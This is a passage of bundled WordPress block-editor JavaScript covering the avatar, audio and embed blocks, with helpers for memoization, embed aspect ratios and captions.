  var import_data6 = __toESM(require_data(), 1);
  function getAvatarSizes(sizes) {
    const minSize = sizes ? sizes[0] : 24;
    const maxSize = sizes ? sizes[sizes.length - 1] : 96;
    const maxSizeBuffer = Math.floor(maxSize * 2.5);
    return {
      minSize,
      maxSize: maxSizeBuffer
    };
  }
  function useCommentAvatar({ commentId }) {
    const [avatars] = (0, import_core_data2.useEntityProp)(
      "root",
      "comment",
      "author_avatar_urls",
      commentId
    );
    const [authorName] = (0, import_core_data2.useEntityProp)(
      "root",
      "comment",
      "author_name",
      commentId
    );
    const avatarUrls = avatars ? Object.values(avatars) : null;
    const sizes = avatars ? Object.keys(avatars) : null;
    const { minSize, maxSize } = getAvatarSizes(sizes);
    const defaultAvatar = useDefaultAvatar();
    return {
      src: avatarUrls ? avatarUrls[avatarUrls.length - 1] : defaultAvatar,
      minSize,
      maxSize,
      alt: authorName ? (
        // translators: %s: Author name.
        (0, import_i18n6.sprintf)((0, import_i18n6.__)("%s Avatar"), authorName)
      ) : (0, import_i18n6.__)("Default Avatar")
    };
  }
  function useUserAvatar({ userId, postId, postType }) {
    const { authorDetails } = (0, import_data6.useSelect)(
      (select9) => {
        const { getEditedEntityRecord, getUser } = select9(import_core_data2.store);
        if (userId) {
          return {
            authorDetails: getUser(userId)
          };
        }
        const _authorId = getEditedEntityRecord(
          "postType",
          postType,
          postId
        )?.author;
        return {
          authorDetails: _authorId ? getUser(_authorId) : null
        };
      },
      [postType, postId, userId]
    );
    const avatarUrls = authorDetails?.avatar_urls ? Object.values(authorDetails.avatar_urls) : null;
    const sizes = authorDetails?.avatar_urls ? Object.keys(authorDetails.avatar_urls) : null;
    const { minSize, maxSize } = getAvatarSizes(sizes);
    const defaultAvatar = useDefaultAvatar();
    return {
      src: avatarUrls ? avatarUrls[avatarUrls.length - 1] : defaultAvatar,
      minSize,
      maxSize,
      alt: authorDetails ? (
        // translators: %s: Author name.
        (0, import_i18n6.sprintf)((0, import_i18n6.__)("%s Avatar"), authorDetails?.name)
      ) : (0, import_i18n6.__)("Default Avatar")
    };
  }

  // packages/block-library/build-module/avatar/user-control.mjs
  var import_i18n7 = __toESM(require_i18n(), 1);
  var import_components4 = __toESM(require_components(), 1);
  var import_data7 = __toESM(require_data(), 1);
  var import_core_data3 = __toESM(require_core_data(), 1);
  var import_element4 = __toESM(require_element(), 1);
  var import_compose3 = __toESM(require_compose(), 1);
  var import_html_entities = __toESM(require_html_entities(), 1);
  var import_jsx_runtime167 = __toESM(require_jsx_runtime(), 1);
  var AUTHORS_QUERY = {
    who: "authors",
    per_page: 100,
    _fields: "id,name",
    context: "view"
  };
  function UserControl({ value, onChange }) {
    const [filterValue, setFilterValue] = (0, import_element4.useState)("");
    const { authors, isLoading } = (0, import_data7.useSelect)(
      (select9) => {
        const { getUsers, isResolving } = select9(import_core_data3.store);
        const query = { ...AUTHORS_QUERY };
        if (filterValue) {
          query.search = filterValue;
          query.search_columns = ["name"];
        }
        return {
          authors: getUsers(query),
          isLoading: isResolving("getUsers", [query])
        };
      },
      [filterValue]
    );
    const options2 = (0, import_element4.useMemo)(() => {
      return (authors ?? []).map((author) => {
        return {
          value: author.id,
          label: (0, import_html_entities.decodeEntities)(author.name)
        };
      });
    }, [authors]);
    return /* @__PURE__ */ (0, import_jsx_runtime167.jsx)(
      import_components4.ComboboxControl,
      {
        __next40pxDefaultSize: true,
        label: (0, import_i18n7.__)("User"),
        help: (0, import_i18n7.__)(
          "Select the avatar user to display, if it is blank it will use the post/page author."
        ),
        value,
        onChange,
        options: options2,
        onFilterValueChange: (0, import_compose3.debounce)(setFilterValue, 300),
        isLoading
      }
    );
  }

  // packages/block-library/build-module/avatar/edit.mjs
  var import_jsx_runtime168 = __toESM(require_jsx_runtime(), 1);
  var AvatarInspectorControls = ({
    setAttributes,
    avatar,
    attributes: attributes2,
    selectUser
  }) => {
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    return /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(import_block_editor12.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime168.jsxs)(
      import_components5.__experimentalToolsPanel,
      {
        label: (0, import_i18n8.__)("Settings"),
        resetAll: () => {
          setAttributes({
            size: 96,
            isLink: false,
            linkTarget: "_self",
            userId: void 0
          });
        },
        dropdownMenuProps,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(
            import_components5.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n8.__)("Image size"),
              isShownByDefault: true,
              hasValue: () => attributes2?.size !== 96,
              onDeselect: () => setAttributes({ size: 96 }),
              children: /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(
                import_components5.RangeControl,
                {
                  __next40pxDefaultSize: true,
                  label: (0, import_i18n8.__)("Image size"),
                  onChange: (newSize) => setAttributes({
                    size: newSize
                  }),
                  min: avatar.minSize,
                  max: avatar.maxSize,
                  initialPosition: attributes2?.size,
                  value: attributes2?.size
                }
              )
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(
            import_components5.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n8.__)("Link to user profile"),
              isShownByDefault: true,
              hasValue: () => attributes2?.isLink,
              onDeselect: () => setAttributes({ isLink: false }),
              children: /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(
                import_components5.ToggleControl,
                {
                  label: (0, import_i18n8.__)("Link to user profile"),
                  onChange: () => setAttributes({ isLink: !attributes2.isLink }),
                  checked: attributes2.isLink
                }
              )
            }
          ),
          attributes2.isLink && /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(
            import_components5.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n8.__)("Open in new tab"),
              isShownByDefault: true,
              hasValue: () => attributes2?.linkTarget !== "_self",
              onDeselect: () => setAttributes({ linkTarget: "_self" }),
              children: /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(
                import_components5.ToggleControl,
                {
                  label: (0, import_i18n8.__)("Open in new tab"),
                  onChange: (value) => setAttributes({
                    linkTarget: value ? "_blank" : "_self"
                  }),
                  checked: attributes2.linkTarget === "_blank"
                }
              )
            }
          ),
          selectUser && /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(
            import_components5.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n8.__)("User"),
              isShownByDefault: true,
              hasValue: () => !!attributes2?.userId,
              onDeselect: () => setAttributes({ userId: void 0 }),
              children: /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(
                UserControl,
                {
                  value: attributes2?.userId,
                  onChange: (value) => {
                    setAttributes({
                      userId: value
                    });
                  }
                }
              )
            }
          )
        ]
      }
    ) });
  };
  var AvatarLinkWrapper = ({ children, isLink }) => isLink ? /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(
    "a",
    {
      href: "#avatar-pseudo-link",
      className: "wp-block-avatar__link",
      onClick: (event) => event.preventDefault(),
      children
    }
  ) : children;
  var ResizableAvatar = ({
    setAttributes,
    attributes: attributes2,
    avatar,
    blockProps,
    isSelected
  }) => {
    const borderProps = (0, import_block_editor12.__experimentalUseBorderProps)(attributes2);
    const doubledSizedSrc = (0, import_url.addQueryArgs)(
      (0, import_url.removeQueryArgs)(avatar?.src, ["s"]),
      {
        s: attributes2?.size * 2
      }
    );
    return /* @__PURE__ */ (0, import_jsx_runtime168.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(AvatarLinkWrapper, { isLink: attributes2.isLink, children: /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(
      import_components5.ResizableBox,
      {
        size: {
          width: attributes2.size,
          height: attributes2.size
        },
        showHandle: isSelected,
        onResizeStop: (event, direction, elt, delta) => {
          setAttributes({
            size: parseInt(
              attributes2.size + (delta.height || delta.width),
              10
            )
          });
        },
        lockAspectRatio: true,
        enable: {
          top: false,
          right: !(0, import_i18n8.isRTL)(),
          bottom: true,
          left: (0, import_i18n8.isRTL)()
        },
        minWidth: avatar.minSize,
        maxWidth: avatar.maxSize,
        children: /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(
          "img",
          {
            src: doubledSizedSrc,
            alt: avatar.alt,
            className: clsx_default(
              "avatar",
              "avatar-" + attributes2.size,
              "photo",
              "wp-block-avatar__image",
              borderProps.className
            ),
            style: borderProps.style
          }
        )
      }
    ) }) });
  };
  var CommentEdit = ({ attributes: attributes2, context, setAttributes, isSelected }) => {
    const { commentId } = context;
    const blockProps = (0, import_block_editor12.useBlockProps)();
    const avatar = useCommentAvatar({ commentId });
    return /* @__PURE__ */ (0, import_jsx_runtime168.jsxs)(import_jsx_runtime168.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(
        AvatarInspectorControls,
        {
          avatar,
          setAttributes,
          attributes: attributes2,
          selectUser: false
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(
        ResizableAvatar,
        {
          attributes: attributes2,
          avatar,
          blockProps,
          isSelected,
          setAttributes
        }
      )
    ] });
  };
  var UserEdit = ({ attributes: attributes2, context, setAttributes, isSelected }) => {
    const { postId, postType } = context;
    const avatar = useUserAvatar({
      userId: attributes2?.userId,
      postId,
      postType
    });
    const blockProps = (0, import_block_editor12.useBlockProps)();
    return /* @__PURE__ */ (0, import_jsx_runtime168.jsxs)(import_jsx_runtime168.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(
        AvatarInspectorControls,
        {
          selectUser: true,
          attributes: attributes2,
          avatar,
          setAttributes
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(
        ResizableAvatar,
        {
          attributes: attributes2,
          avatar,
          blockProps,
          isSelected,
          setAttributes
        }
      )
    ] });
  };
  function Edit5(props) {
    if (props?.context?.commentId || props?.context?.commentId === null) {
      return /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(CommentEdit, { ...props });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(UserEdit, { ...props });
  }

  // packages/block-library/build-module/avatar/index.mjs
  var { name: name6 } = block_default6;
  var settings6 = {
    icon: comment_author_avatar_default,
    edit: Edit5,
    example: {}
  };
  var init6 = () => initBlock({ name: name6, metadata: block_default6, settings: settings6 });

  // packages/block-library/build-module/audio/index.mjs
  var audio_exports = {};
  __export(audio_exports, {
    init: () => init7,
    metadata: () => block_default8,
    name: () => name7,
    settings: () => settings7
  });
  var import_i18n11 = __toESM(require_i18n(), 1);
  var import_blocks6 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/audio/deprecated.mjs
  var import_block_editor13 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime169 = __toESM(require_jsx_runtime(), 1);
  var deprecated_default2 = [
    {
      attributes: {
        src: {
          type: "string",
          source: "attribute",
          selector: "audio",
          attribute: "src"
        },
        caption: {
          type: "string",
          source: "html",
          selector: "figcaption"
        },
        id: {
          type: "number"
        },
        autoplay: {
          type: "boolean",
          source: "attribute",
          selector: "audio",
          attribute: "autoplay"
        },
        loop: {
          type: "boolean",
          source: "attribute",
          selector: "audio",
          attribute: "loop"
        },
        preload: {
          type: "string",
          source: "attribute",
          selector: "audio",
          attribute: "preload"
        }
      },
      supports: {
        align: true
      },
      save({ attributes: attributes2 }) {
        const { autoplay, caption, loop, preload, src } = attributes2;
        return /* @__PURE__ */ (0, import_jsx_runtime169.jsxs)("figure", { children: [
          /* @__PURE__ */ (0, import_jsx_runtime169.jsx)(
            "audio",
            {
              controls: "controls",
              src,
              autoPlay: autoplay,
              loop,
              preload
            }
          ),
          !import_block_editor13.RichText.isEmpty(caption) && /* @__PURE__ */ (0, import_jsx_runtime169.jsx)(
            import_block_editor13.RichText.Content,
            {
              tagName: "figcaption",
              value: caption
            }
          )
        ] });
      }
    }
  ];

  // packages/block-library/build-module/audio/edit.mjs
  var import_blob2 = __toESM(require_blob(), 1);
  var import_components8 = __toESM(require_components(), 1);
  var import_block_editor15 = __toESM(require_block_editor(), 1);
  var import_i18n10 = __toESM(require_i18n(), 1);
  var import_data8 = __toESM(require_data(), 1);
  var import_notices = __toESM(require_notices(), 1);
  var import_element7 = __toESM(require_element(), 1);

  // node_modules/memize/dist/index.js
  function memize(fn, options2) {
    var size = 0;
    var head;
    var tail;
    options2 = options2 || {};
    function memoized() {
      var node = head, len = arguments.length, args, i2;
      searchCache: while (node) {
        if (node.args.length !== arguments.length) {
          node = node.next;
          continue;
        }
        for (i2 = 0; i2 < len; i2++) {
          if (node.args[i2] !== arguments[i2]) {
            node = node.next;
            continue searchCache;
          }
        }
        if (node !== head) {
          if (node === tail) {
            tail = node.prev;
          }
          node.prev.next = node.next;
          if (node.next) {
            node.next.prev = node.prev;
          }
          node.next = head;
          node.prev = null;
          head.prev = node;
          head = node;
        }
        return node.val;
      }
      args = new Array(len);
      for (i2 = 0; i2 < len; i2++) {
        args[i2] = arguments[i2];
      }
      node = {
        args,
        // Generate the result from original function
        val: fn.apply(null, args)
      };
      if (head) {
        head.prev = node;
        node.next = head;
      } else {
        tail = node;
      }
      if (size === /** @type {MemizeOptions} */
      options2.maxSize) {
        tail = /** @type {MemizeCacheNode} */
        tail.prev;
        tail.next = null;
      } else {
        size++;
      }
      head = node;
      return node.val;
    }
    memoized.clear = function() {
      head = null;
      tail = null;
      size = 0;
    };
    return memoized;
  }

  // packages/block-library/build-module/embed/util.mjs
  var import_components6 = __toESM(require_components(), 1);
  var import_element5 = __toESM(require_element(), 1);
  var import_blocks3 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/embed/block.json
  var block_default7 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/embed",
    title: "Embed",
    category: "embed",
    description: "Add a block that displays content pulled from other sites, like Twitter or YouTube.",
    textdomain: "default",
    attributes: {
      url: {
        type: "string",
        role: "content"
      },
      caption: {
        type: "rich-text",
        source: "rich-text",
        selector: "figcaption",
        role: "content"
      },
      type: {
        type: "string",
        role: "content"
      },
      providerNameSlug: {
        type: "string",
        role: "content"
      },
      allowResponsive: {
        type: "boolean",
        default: true
      },
      responsive: {
        type: "boolean",
        default: false,
        role: "content"
      },
      previewable: {
        type: "boolean",
        default: true,
        role: "content"
      }
    },
    supports: {
      anchor: true,
      align: true,
      spacing: {
        margin: true
      },
      interactivity: {
        clientNavigation: true
      }
    },
    editorStyle: "wp-block-embed-editor",
    style: "wp-block-embed"
  };

  // packages/block-library/build-module/embed/constants.mjs
  var ASPECT_RATIOS = [
    // Common video resolutions.
    { ratio: "2.33", className: "wp-embed-aspect-21-9" },
    { ratio: "2.00", className: "wp-embed-aspect-18-9" },
    { ratio: "1.78", className: "wp-embed-aspect-16-9" },
    { ratio: "1.33", className: "wp-embed-aspect-4-3" },
    // Vertical video and instagram square video support.
    { ratio: "1.00", className: "wp-embed-aspect-1-1" },
    { ratio: "0.56", className: "wp-embed-aspect-9-16" },
    { ratio: "0.50", className: "wp-embed-aspect-1-2" }
  ];
  var WP_EMBED_TYPE = "wp-embed";

  // packages/block-library/build-module/lock-unlock.mjs
  var import_private_apis = __toESM(require_private_apis(), 1);
  var { lock, unlock } = (0, import_private_apis.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(
    "I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.",
    "@wordpress/block-library"
  );

  // packages/block-library/build-module/embed/util.mjs
  var import_jsx_runtime170 = __toESM(require_jsx_runtime(), 1);
  var { name: DEFAULT_EMBED_BLOCK } = block_default7;
  var { kebabCase } = unlock(import_components6.privateApis);
  var getEmbedInfoByProvider = (provider) => (0, import_blocks3.getBlockVariations)(DEFAULT_EMBED_BLOCK)?.find(
    ({ name: name123 }) => name123 === provider
  );
  var matchesPatterns = (url, patterns = []) => patterns.some((pattern) => url.match(pattern));
  var findMoreSuitableBlock = (url) => (0, import_blocks3.getBlockVariations)(DEFAULT_EMBED_BLOCK)?.find(
    ({ patterns }) => matchesPatterns(url, patterns)
  );
  var isFromWordPress = (html) => html && html.includes('class="wp-embedded-content"');
  var getPhotoHtml = (photo) => {
    const imageUrl = photo.url || photo.thumbnail_url;
    const photoPreview = /* @__PURE__ */ (0, import_jsx_runtime170.jsx)("p", { children: /* @__PURE__ */ (0, import_jsx_runtime170.jsx)("img", { src: imageUrl, alt: photo.title, width: "100%" }) });
    return (0, import_element5.renderToString)(photoPreview);
  };
  var createUpgradedEmbedBlock = (props, attributesFromPreview = {}) => {
    const { preview, attributes: attributes2 = {} } = props;
    const { url, providerNameSlug, type, ...restAttributes } = attributes2;
    if (!url || !(0, import_blocks3.getBlockType)(DEFAULT_EMBED_BLOCK)) {
      return;
    }
    const matchedBlock = findMoreSuitableBlock(url);
    const isCurrentBlockWP = providerNameSlug === "wordpress" || type === WP_EMBED_TYPE;
    const shouldCreateNewBlock = !isCurrentBlockWP && matchedBlock && (matchedBlock.attributes.providerNameSlug !== providerNameSlug || !providerNameSlug);
    if (shouldCreateNewBlock) {
      return (0, import_blocks3.createBlock)(DEFAULT_EMBED_BLOCK, {
        url,
        ...restAttributes,
        ...matchedBlock.attributes
      });
    }
    const wpVariation = (0, import_blocks3.getBlockVariations)(DEFAULT_EMBED_BLOCK)?.find(
      ({ name: name123 }) => name123 === "wordpress"
    );
    if (!wpVariation || !preview || !isFromWordPress(preview.html) || isCurrentBlockWP) {
      return;
    }
    return (0, import_blocks3.createBlock)(DEFAULT_EMBED_BLOCK, {
      url,
      ...wpVariation.attributes,
      // By now we have the preview, but when the new block first renders, it
      // won't have had all the attributes set, and so won't get the correct
      // type and it won't render correctly. So, we pass through the current attributes
      // here so that the initial render works when we switch to the WordPress
      // block. This only affects the WordPress block because it can't be
      // rendered in the usual Sandbox (it has a sandbox of its own) and it
      // relies on the preview to set the correct render type.
      ...attributesFromPreview
    });
  };
  var hasAspectRatioClass = (existingClassNames) => {
    if (!existingClassNames) {
      return false;
    }
    return ASPECT_RATIOS.some(
      ({ className }) => existingClassNames.includes(className)
    );
  };
  var removeAspectRatioClasses = (existingClassNames) => {
    if (!existingClassNames) {
      return existingClassNames;
    }
    const aspectRatioClassNames = ASPECT_RATIOS.reduce(
      (accumulator, { className }) => {
        accumulator.push(className);
        return accumulator;
      },
      ["wp-has-aspect-ratio"]
    );
    let outputClassNames = existingClassNames;
    for (const className of aspectRatioClassNames) {
      outputClassNames = outputClassNames.replace(className, "");
    }
    return outputClassNames.trim();
  };
  function hasInlineResponsivePadding(html) {
    const paddingPattern = /padding-(top|bottom)\s*:\s*[\d.]+%/i;
    return paddingPattern.test(html);
  }
  function getClassNames(html, existingClassNames, allowResponsive = true) {
    if (!allowResponsive) {
      return removeAspectRatioClasses(existingClassNames);
    }
    if (hasInlineResponsivePadding(html)) {
      return removeAspectRatioClasses(existingClassNames);
    }
    const previewDocument = document.implementation.createHTMLDocument("");
    previewDocument.body.innerHTML = html;
    const iframe = previewDocument.body.querySelector("iframe");
    if (iframe && iframe.height && iframe.width) {
      const aspectRatio = (iframe.width / iframe.height).toFixed(2);
      for (let ratioIndex = 0; ratioIndex < ASPECT_RATIOS.length; ratioIndex++) {
        const potentialRatio = ASPECT_RATIOS[ratioIndex];
        if (aspectRatio >= potentialRatio.ratio) {
          const ratioDiff = aspectRatio - potentialRatio.ratio;
          if (ratioDiff > 0.1) {
            return removeAspectRatioClasses(existingClassNames);
          }
          return clsx_default(
            removeAspectRatioClasses(existingClassNames),
            potentialRatio.className,
            "wp-has-aspect-ratio"
          );
        }
      }
    }
    return existingClassNames;
  }
  function fallback(url, onReplace) {
    const link = /* @__PURE__ */ (0, import_jsx_runtime170.jsx)("a", { href: url, children: url });
    onReplace(
      (0, import_blocks3.createBlock)("core/paragraph", { content: (0, import_element5.renderToString)(link) })
    );
  }
  var getAttributesFromPreview = memize(
    (preview, title, currentClassNames, isResponsive, allowResponsive = true) => {
      if (!preview) {
        return {};
      }
      const attributes2 = {};
      let { type = "rich" } = preview;
      const { html, provider_name: providerName } = preview;
      const providerNameSlug = kebabCase(
        (providerName || title).toLowerCase()
      );
      if (isFromWordPress(html)) {
        type = WP_EMBED_TYPE;
      }
      if (html || "photo" === type) {
        attributes2.type = type;
        attributes2.providerNameSlug = providerNameSlug;
      }
      if (hasAspectRatioClass(currentClassNames)) {
        return attributes2;
      }
      attributes2.className = getClassNames(
        html,
        currentClassNames,
        isResponsive && allowResponsive
      );
      return attributes2;
    }
  );
  var getMergedAttributesWithPreview = (currentAttributes, preview, title, isResponsive) => {
    const { allowResponsive, className } = currentAttributes;
    return {
      ...currentAttributes,
      ...getAttributesFromPreview(
        preview,
        title,
        className,
        isResponsive,
        allowResponsive
      )
    };
  };

  // packages/block-library/build-module/utils/caption.mjs
  var import_element6 = __toESM(require_element(), 1);
  var import_compose4 = __toESM(require_compose(), 1);
  var import_i18n9 = __toESM(require_i18n(), 1);
  var import_block_editor14 = __toESM(require_block_editor(), 1);
  var import_components7 = __toESM(require_components(), 1);
  var import_blocks4 = __toESM(require_blocks(), 1);
  var import_jsx_runtime171 = __toESM(require_jsx_runtime(), 1);
  function Caption({
    attributeKey = "caption",
    attributes: attributes2,
    setAttributes,
    isSelected,
    insertBlocksAfter,
    placeholder: placeholder2 = (0, import_i18n9.__)("Add caption"),
    label = (0, import_i18n9.__)("Caption text"),
    showToolbarButton = true,
    excludeElementClassName,
    className,
    readOnly,
    tagName = "figcaption",
    addLabel = (0, import_i18n9.__)("Add caption"),
    removeLabel = (0, import_i18n9.__)("Remove caption"),
    icon: icon4 = caption_default,
    ...props
  }) {
    const caption = attributes2[attributeKey];
    const prevCaption = (0, import_compose4.usePrevious)(caption);
    const isCaptionEmpty = import_block_editor14.RichText.isEmpty(caption);
    const isPrevCaptionEmpty = import_block_editor14.RichText.isEmpty(prevCaption);
    const [showCaption, setShowCaption] = (0, import_element6.useState)(!isCaptionEmpty);
    (0, import_element6.useEffect)(() => {
      if (!isCaptionEmpty && isPrevCaptionEmpty) {
        setShowCaption(true);
      }
    }, [isCaptionEmpty, isPrevCaptionEmpty]);
    (0, import_element6.useEffect)(() => {
      if (!isSelected && isCaptionEmpty) {
        setShowCaption(false);
      }
    }, [isSelected, isCaptionEmpty]);
    const ref = (0, import_element6.useCallback)(
      (node) => {
        if (node && isCaptionEmpty) {
          node.focus();
        }
      },
      [isCaptionEmpty]
    );
    return /* @__PURE__ */ (0, import_jsx_runtime171.jsxs)(import_jsx_runtime171.Fragment, { children: [
      showToolbarButton && /* @__PURE__ */ (0, import_jsx_runtime171.jsx)(import_block_editor14.BlockControls, { group: "block", children: /* @__PURE__ */ (0, import_jsx_runtime171.jsx)(
        import_components7.ToolbarButton,
        {
          onClick: () => {
            setShowCaption(!showCaption);
            if (showCaption && caption) {
              setAttributes({
                [attributeKey]: void 0
              });
            }
          },
          icon: icon4,
          isPressed: showCaption,
          label: showCaption ? removeLabel : addLabel
        }
      ) }),
      showCaption && (!import_block_editor14.RichText.isEmpty(caption) || isSelected) && /* @__PURE__ */ (0, import_jsx_runtime171.jsx)(
        import_block_editor14.RichText,
        {
          identifier: attributeKey,
          tagName,
          className: clsx_default(
            className,
            excludeElementClassName ? "" : (0, import_block_editor14.__experimentalGetElementClassName)("caption")
          ),
          ref,
          "aria-label": label,
          placeholder: placeholder2,
          value: caption,
          onChange: (value) => setAttributes({ [attributeKey]: value }),
          inlineToolbar: true,
          __unstableOnSplitAtEnd: () => insertBlocksAfter(
            (0, import_blocks4.createBlock)((0, import_blocks4.getDefaultBlockName)())
          ),
          readOnly,
          ...props
        }
      )
    ] });
  }

  // packages/block-library/build-module/audio/edit.mjs
  var import_jsx_runtime172 = __toESM(require_jsx_runtime(), 1);
  var ALLOWED_MEDIA_TYPES = ["audio"];
  function AudioEdit({
    attributes: attributes2,
    className,
    setAttributes,
    onReplace,
    isSelected: isSingleSelected,
    insertBlocksAfter
  }) {
    const { id, autoplay, loop, preload, src } = attributes2;
    const [temporaryURL, setTemporaryURL] = (0, import_element7.useState)(attributes2.blob);
    const blockEditingMode = (0, import_block_editor15.useBlockEditingMode)();
    const hasNonContentControls = blockEditingMode === "default";
    useUploadMediaFromBlobURL({
      url: temporaryURL,
      allowedTypes: ALLOWED_MEDIA_TYPES,
      onChange: onSelectAudio,
      onError: onUploadError
    });
    function toggleAttribute(attribute) {
      return (newValue) => {
        setAttributes({ [attribute]: newValue });
      };
    }
    function onSelectURL(newSrc) {
      if (newSrc !== src) {
        const embedBlock = createUpgradedEmbedBlock({
          attributes: { url: newSrc }
        });
        if (void 0 !== embedBlock && onReplace) {
          onReplace(embedBlock);
          return;
        }
        setAttributes({ src: newSrc, id: void 0, blob: void 0 });
        setTemporaryURL();
      }
    }
    const { createErrorNotice } = (0, import_data8.useDispatch)(import_notices.store);
    function onUploadError(message) {
      createErrorNotice(message, { type: "snackbar" });
    }
    function getAutoplayHelp(checked) {
      return checked ? (0, import_i18n10.__)("Autoplay may cause usability issues for some users.") : null;
    }
    function onSelectAudio(media) {
      if (!media || !media.url) {
        setAttributes({
          src: void 0,
          id: void 0,
          caption: void 0,
          blob: void 0
        });
        setTemporaryURL();
        return;
      }
      if ((0, import_blob2.isBlobURL)(media.url)) {
        setTemporaryURL(media.url);
        return;
      }
      setAttributes({
        blob: void 0,
        src: media.url,
        id: media.id,
        caption: media.caption
      });
      setTemporaryURL();
    }
    const classes = clsx_default(className, {
      "is-transient": !!temporaryURL
    });
    const blockProps = (0, import_block_editor15.useBlockProps)({
      className: classes
    });
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    if (!src && !temporaryURL) {
      return /* @__PURE__ */ (0, import_jsx_runtime172.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(
        import_block_editor15.MediaPlaceholder,
        {
          icon: /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(import_block_editor15.BlockIcon, { icon: audio_default }),
          onSelect: onSelectAudio,
          onSelectURL,
          accept: "audio/*",
          allowedTypes: ALLOWED_MEDIA_TYPES,
          value: attributes2,
          onError: onUploadError
        }
      ) });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime172.jsxs)(import_jsx_runtime172.Fragment, { children: [
      isSingleSelected && /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(import_block_editor15.BlockControls, { group: "other", children: /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(
        import_block_editor15.MediaReplaceFlow,
        {
          mediaId: id,
          mediaURL: src,
          allowedTypes: ALLOWED_MEDIA_TYPES,
          accept: "audio/*",
          onSelect: onSelectAudio,
          onSelectURL,
          onError: onUploadError,
          onReset: () => onSelectAudio(void 0),
          variant: "toolbar"
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(import_block_editor15.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime172.jsxs)(
        import_components8.__experimentalToolsPanel,
        {
          label: (0, import_i18n10.__)("Settings"),
          resetAll: () => {
            setAttributes({
              autoplay: false,
              loop: false,
              preload: void 0
            });
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(
              import_components8.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n10.__)("Autoplay"),
                isShownByDefault: true,
                hasValue: () => !!autoplay,
                onDeselect: () => setAttributes({
                  autoplay: false
                }),
                children: /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(
                  import_components8.ToggleControl,
                  {
                    label: (0, import_i18n10.__)("Autoplay"),
                    onChange: toggleAttribute("autoplay"),
                    checked: !!autoplay,
                    help: getAutoplayHelp
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(
              import_components8.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n10.__)("Loop"),
                isShownByDefault: true,
                hasValue: () => !!loop,
                onDeselect: () => setAttributes({
                  loop: false
                }),
                children: /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(
                  import_components8.ToggleControl,
                  {
                    label: (0, import_i18n10.__)("Loop"),
                    onChange: toggleAttribute("loop"),
                    checked: !!loop
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(
              import_components8.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n10.__)("Preload"),
                isShownByDefault: true,
                hasValue: () => !!preload,
                onDeselect: () => setAttributes({
                  preload: void 0
                }),
                children: /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(
                  import_components8.SelectControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n10._x)(
                      "Preload",
                      "noun; Audio block parameter"
                    ),
                    value: preload || "",
                    onChange: (value) => setAttributes({
                      preload: value || void 0
                    }),
                    options: [
                      { value: "", label: (0, import_i18n10.__)("Browser default") },
                      { value: "auto", label: (0, import_i18n10.__)("Auto") },
                      { value: "metadata", label: (0, import_i18n10.__)("Metadata") },
                      {
                        value: "none",
                        label: (0, import_i18n10._x)("None", "Preload value")
                      }
                    ]
                  }
                )
              }
            )
          ]
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime172.jsxs)("figure", { ...blockProps, children: [
        /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(import_components8.Disabled, { isDisabled: !isSingleSelected, children: /* @__PURE__ */ (0, import_jsx_runtime172.jsx)("audio", { controls: "controls", src: src ?? temporaryURL }) }),
        !!temporaryURL && /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(import_components8.Spinner, {}),
        /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(
          Caption,
          {
            attributes: attributes2,
            setAttributes,
            isSelected: isSingleSelected,
            insertBlocksAfter,
            label: (0, import_i18n10.__)("Audio caption text"),
            showToolbarButton: isSingleSelected && hasNonContentControls
          }
        )
      ] })
    ] });
  }
  var edit_default = AudioEdit;

